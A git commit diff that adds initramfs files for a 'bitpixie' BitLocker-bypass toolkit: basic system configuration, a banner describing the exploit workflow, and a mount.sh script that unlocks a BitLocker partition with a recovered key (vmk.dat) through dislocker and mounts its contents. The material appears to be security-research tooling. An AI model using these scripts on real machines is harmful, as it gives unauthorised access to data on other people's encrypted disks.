Import initramfs generation scripts for bitpixie exploitation

It is based on a stripped down version of Filippo Valsorda's rootfs-free
immutable NAS project with various bitpixie related hacks added.

 https://words.filippo.io/dispatches/frood/

linux/root/etc/hostname

@@ -0,0 +1 @@
+bitpixie

linux/root/etc/hosts

@@ -0,0 +1,2 @@
+127.0.0.1   bitpixie localhost
+::1         bitpixie localhost

linux/root/etc/modules

@@ -0,0 +1,2 @@
+fuse
+loop

linux/root/etc/motd

@@ -0,0 +1,8 @@
+   ____   ___    _   _  ___ _____   ____   _    _   _ ___ ____
+  |  _ \ / _ \  | \ | |/ _ \_   _| |  _ \ / \  | \ | |_ _/ ___|
+  | | | | | | | |  \| | | | || |   | |_) / _ \ |  \| || | |
+  | |_| | |_| | | |\  | |_| || |   |  __/ ___ \| |\  || | |___
+  |____/ \___/  |_| \_|\___/ |_|   |_| /_/   \_\_| \_|___\____|
+
+   # exploit && ./mount.sh /dev/partion && ls mnt
+

linux/root/etc/network/interfaces

@@ -0,0 +1,5 @@
+auto lo
+iface lo inet loopback
+
+#auto eth0
+#iface eth0 inet dhcp

linux/root/init

@@ -0,0 +1,7 @@
+#!/bin/sh
+
+mount -t proc proc /proc
+mount -t sysfs sysfs /sys
+mount -t devtmpfs devtmpfs /dev
+
+exec /sbin/init

linux/root/root/mount.sh

@@ -0,0 +1,7 @@
+#!/bin/sh
+
+[ ! -e "$1" ] && echo "usage: $0 /dev/partition" && exit 1
+
+mkdir bitlocker mnt
+dislocker -V "$1" -K vmk.dat -vvv -- bitlocker
+mount -t ntfs-3g -o loop bitlocker/dislocker-file mnt